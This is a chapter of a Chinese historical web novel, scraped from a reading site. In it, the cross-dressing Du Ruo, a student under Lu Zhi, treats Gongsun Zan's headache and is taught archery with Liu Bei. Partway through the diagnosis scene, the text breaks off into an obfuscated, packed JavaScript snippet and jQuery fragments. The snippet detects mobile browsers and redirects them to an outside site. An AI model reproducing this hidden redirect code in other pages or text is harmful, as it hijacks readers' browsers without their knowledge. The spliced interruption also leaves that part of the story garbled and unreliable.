默认冷灰
24号文字
方正启体

5. 伍

作者:橘页本书字数:K更新时间:
    初春天气,乍暖还寒。这天起来上早课,因屋子里炉子烧的暖和,又闭门空气不流通,不少人昏昏欲睡。卢植生气,令众人抱着书去院子里读。


    院子里寒风飕飕的,杜若和程瑾穿的厚实,还戴着小帽手套,穿着靴子,还是冷的直跺脚。杜若转头看见一边的刘备,只见他穿着件单薄的麻布衣裳,外面披了件薄棉衣,脚上是打着补丁的布鞋,这会儿正站在风口,嘴巴都冻紫了,指尖有些发抖,却还闭着眼睛诵读诗书。


    杜若不动声色过去挡住了风口,程瑾掏出小酒壶递给刘备,“玄德兄读的这么久,必定口干舌燥,喝些水吧。”


    刘备确实有些口渴,拧开水壶喝了一口,惊奇的发现竟然是热热的红枣甜汤,一口下肚,浑身都暖和起来。他感激的看向两人。


    “玄德兄若喜欢,便带在身上,多喝一些。这是时济熬的红枣水,养气的。”


    “可这水壶…”


    “一个小壶而已,这不值什么,兄不嫌弃,只管留下便是。”


    杜若和程瑾笑眯眯的,刘备感激收起不提。


    下了早课,杜若在琢磨草堂后花圃是否能种药材,琢磨须臾,开始看蚂蚁搬家。


    一溜黑黑小小的蚂蚁在搬一只残破的胖虫子,杜若津津有味地看了半天,起身险栽一跟头,堪堪叫人扶住。


    “玄德兄,你什么时候来的?”


    刘备笑道:“我站一会儿了,时济竟有如此童趣。”


    他说起话温温柔柔的。


    “我找时济去翠微堂,等会儿有两位师兄回来,先生想让我们一道迎接。”


    两人穿过丽泽桥,曲水回廊,一路的石板缝隙里长满了各种青苔和绿植,颇有野趣。


    路过一孔圆月门,刘备为杜若拂开头顶绿丛,是一株颇为繁盛的垂叶树木。


    到了翠微堂,门口楹帘潇洒清逸。


    【主敬存诚坦荡荡天空地阔,穷理尽性活泼泼鱼跃鸢飞】


    厅里挤挤挨挨,程瑾挥手,“来这边。”


    他虽穿学堂制服,却骚包的挂着颗绿色玉佩和几条彩綠子。


    三人挤在一块经年旧石砖上。那石板被踩得微微下陷,边角圆钝,一看便是人来人往留下的痕迹。


    众人偷偷闲话,卢植进来,窃窃私语声下去了,取而代之的是朗朗书声,一位胖胖的学子大声诵读。


    卢植点点头,杜若也赶紧大声读起来。


    读了一会儿,杜若开始打瞌睡,梦到自己在一个糯米油条摊子面前。


    “加不加糖?”


    “加糖,加糖。”


    杜若叫出来,把自己叫醒了。


    她被一阵摇,“时济快别睡了,伯圭兄回来了,我们快去迎接。”


    杜若满脑子糯米油条加白糖,被人推着往外走。


    太阳光亮亮的,清风萦绕,很是舒爽。杜若跟着众人踩过坑坑洼洼的石子路,路过一丛竹子的时候,手痒撕下一片,竹叶尖尖黄黄的,斑斑点点。


    高大的树木如同撑开的篷庐,阳光从枝叶间倾泻而下,折出橙白碧紫的光影,落在衣襟与地面。


    刘备笑声传来。


    “伯圭此去,让师兄弟们好生挂念。”


    杜若脑子嗡嗡。


    伯圭两个字在脑子里闪了两下。


    入眼一位白袍轻甲,目如寒星的青年。如轩然霞举,直令满堂辉然。


    窗外的银杏叶缓缓飘落,他恍若画中走出。


    杜若想拍大腿。


    “这是公孙瓒吗?”


    杜若扯住程瑾的袖子。


    程瑾凑到她耳边,“是的是的,他正是你逃婚的夫君。”


    杜若掐了程瑾一把,小子差点叫出声来。


    好在众人簇拥着公孙瓒到卢植跟前去了,没人在乎他们。


    “你早知道他在这里进学,还撺掇我过来?”


    “天神菩萨!”程瑾双手合十,“我哪里知道他会在这里。”


    “这下完了。”


    她脑中不受控制地浮现出那个结局,火光、灰烬、自焚。


    这人若真是个极端之辈,发现她悔婚逃跑,谁知道会不会顺手把她点了。


    程瑾说:“你别这么担心,等闲人看不出来你女装身份,公孙瓒之前又没见过你,谁知道你是哪个。”


    这小子是个混不吝,就没害怕的事情。


    还在纠结,刘备小跑过来叫他俩。


    “二位弟弟躲在这里却是为何,先生唤你们过去呢。”


    杜若心里突突,陈瑾看热闹不嫌事大,你推我搡的到了正厅,公孙瓒正站在卢植旁边说话,挺拔卓然。


    卢植招呼他们二人,公孙瓒看过来,静静的一道目光,嘴角是带着笑的,眼里却没什么温度。


    杜若一脑门子冷汗,叫程瑾紧紧攥住手腕。


    “伯圭,你此去时间久,这是我新带入山门的两位师弟,时济,子昂。”


    刘备将他二人引过去,两人连忙给公孙瓒见礼,公孙瓒点了点头,不很热情,也不冷淡。


    刘备笑着打圆场:“时济今日倒是腼腆,怕是被伯圭兄的气势吓着了。”


    “伯圭兄有所不知。”刘备继续道:“时济虽年纪不大,却心怀仁义。前些日子顾县传得沸沸扬扬的神医,正是他。”


    卢植也抚须而笑,看向杜若。


    公孙瓒看了她一眼,拱手,“时济兄高义。”


    杜若:“岂敢岂敢,谬赞谬赞。”


    程瑾将杜若挤到一边,“早听闻伯圭兄战神之名,如今一见,果真雄姿英发,令人心折。”


    “别贫嘴了。”


    卢植招招手,“时济过来。”


    杜若乖乖过去,卢植笑道,“正巧伯圭在此,我也省得再另寻人。你师兄头疼的老毛病,你替他瞧瞧。”


    杜若一怔。


    “先生在此,弟子怎敢班门弄斧。”


    卢植摆手笑道:“我那点本事,不过玩玩。你莫学那些酸儒。”


    “伯圭,”卢植抚须道,“此乃我新收的门生,杜时济。医术颇高。你素来眼高于顶,可莫要学了世人那套重经义、轻医道的毛病,慢待了师弟。”


    公孙瓒敛目拱手,语气端正:“学生不敢。”


    “我不过白说一句,一向见你眼高于顶的,怕你得罪人呀。”话虽是训诫,眼神嘴角却都露出笑意。


    很明显公孙老哥是卢植的得意弟子。


    杜若只得道:“不知师兄可愿让我一试。”


    “先生挂心了,只是瓒乃经年旧症,早已习惯,又何必麻烦师弟。”


    公孙瓒嘴上客气,动作神情可一点都不谦虚,明显就是信不过她。


    嘿!黄口小儿!


    没等卢植说话,杜若道:“伯圭兄还怕被我看一眼少块肉不成。”


    卢植抚掌大笑,“你看看你,还不如新入门的小师弟来的爽快。”


    “快些坐下,让时济治一治你这毛病。”


    公孙瓒只得坐下,身形挺直如槊。


    他右鬓微红,似乎是经历了边疆的风霜,手指甲修剪的短而洁净,没穿战甲,却让人一看就觉得是位将军。


    身上的白袍绣花和袖口都干净,是个讲究的人。


    杜若仔细观察公孙瓒,发现他眼睛略有血丝,风吹过来的时候会轻轻眯起来。颈背紧绷,转头的时候不是很流畅,有些滞涩。


    “伯圭兄此病症应当不止一日。夜晚尤其严重,遇北风会加剧,是不是呢?”


    公孙瓒目光一顿。


    “头疼时可有胸闷?痛在额头,还是后项也疼呢?”


    公孙瓒略皱眉,摸了摸后脑勺。


    “如果夜间打马吹风,睡觉时后脑会疼痛,偶尔会痛到太阳穴,有一跳一跳的痛感。数年如此。”


    杜若抬手,“兄请伸腕。”


    公孙瓒微微犹豫,但终还是抬起手臂。


    杜若搭上他的寸关尺,略加思索。


    “伯圭兄此症,是风寒束太阳之络,肝血不足难以濡筋,因此久痛不愈。”


    “我先用手法缓解兄的疼痛感,之后再开药


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059013|194963||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    祛除病根。”


    她伸出手指,按住公孙瓒风池、肩井、太阳三处穴位。


    一股不易察觉的暗香袭来,公孙瓒微微一滞。


    按至风池时,他肩背微松,眉心稍缓。


    杜若解释道,“风寒容易凝聚在太阳经,松缓后会减轻疼痛。”


    她写下当归四逆汤加桂心的药方,见身旁围的人都一脸探究,便解释。


    “当归补血活血,桂枝与细辛祛风散寒,通草可通络,甘草大枣和中补虚。”


    “若没有其他问题,此方三日可见效,但伯圭兄若仍迎风骑射,夜不避寒,则旧疾必然复作。”


    公孙瓒沉默片刻。


    “军情重于山,迎风夜射,不可避免。”


    卢植放下茶杯,“这也是不可避免,只是能否用衣物包住头,会否好些呢?”


    杜若脑补了一下公孙瓒包成陕北老乡的样子,噗嗤一声。


    “总比不包好的。”


    ———————————


    天青云白,杜若和各位同学早读完过后,陈瑾神秘兮兮地拉住她和刘备。


    “下个月,就是学堂的射艺比赛了。二位兄长练的如何?”


    杜若摆手,“我连弓都拉不开,可别找我了。看看热闹得了。”


    刘备拍拍她的肩膀,“时济弟如何妄自菲薄?你聪明灵秀,只要勤加练习,何愁不出类拔萃?若弟不嫌弃,我愿教导,弟当如何?”


    刘备跟个温柔大哥哥一样站在那里散发魅力。


    程瑾扑过去。


    “玄德兄,玄德兄若能教导,我兄弟二人何愁不成箭神也!”


    啥都没说一起被箭神了的杜若开始每天傍晚被拎着去练射箭。


    北地初春傍晚寒冷,昼夜温差大,别说练箭,杜若只觉自己肌肉僵硬,手指不灵,拉起弓来手都发抖。


    练了几天,刘备的眉毛越夹越紧。


    “定是为兄技艺不到家,肯定还有其他办法!”


    杜若心想让你知道什么叫天资愚钝,朽木不可雕也,看你还学不学雷锋了。更加装傻充愣起来。


    没想到刘备寻来了外援。


    刘备笑眯眯吹嘘公孙瓒。


    “学堂中,若论射艺,可与先生一决高下难分雌雄的,唯伯圭兄而已。伯圭兄愿教导时济与子昂,只怕进步之日,只在旦夕。”


    杜若:……


    公孙瓒拿起弓箭,“开始吧,你们二人都试试,我看看成效。”


    杜若试了一下,弓弦弹到前臂,红了一片,尴尬离场。


    程瑾试了一下,倒是有模有样,准头却不高。


    公孙瓒接过弓箭,连发三箭,箭箭红心。


    “足分八字。”


    他下巴略昂,示意她照做。


    杜若只得跟着学。


    “膝盖微屈,腰直如柱。”


    他干脆上手,想帮她摆正位置,杜若感觉肩膀被一掰,差点骨裂。


    哎哟一声。


    公孙瓒看她一眼。


    “虎口撑开,五指如抱丸。”


    杜若拉开箭,感觉自己又要抽筋了。


    “不是靠手,是靠背。”


    公孙瓒敲了敲杜若的脊背。


    “此处收紧。”


    他站在背后,让人有种莫名的压力,杜若更紧张了。


    “呼吸。”


    “憋气会气乱。”


    箭被再次拉开,这次居然真的轻松了一些。


    “放。”


    杜若一抖,箭飞出去,歪歪在一边。


    “放若不及,必然不中。”


    刘备递过来一只新箭。


    “时济不必紧张,再试试。”


    “放!”


    杜若咬牙松手,嗖的一声。


    这次至少进了内圈。


    她兴奋的叫了一声,“我也能射这么准!”


    公孙瓒:……


    程瑾:“这并不准。”


    刘备拍了拍程瑾,“时济没拿过弓箭,已是进步神速了!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)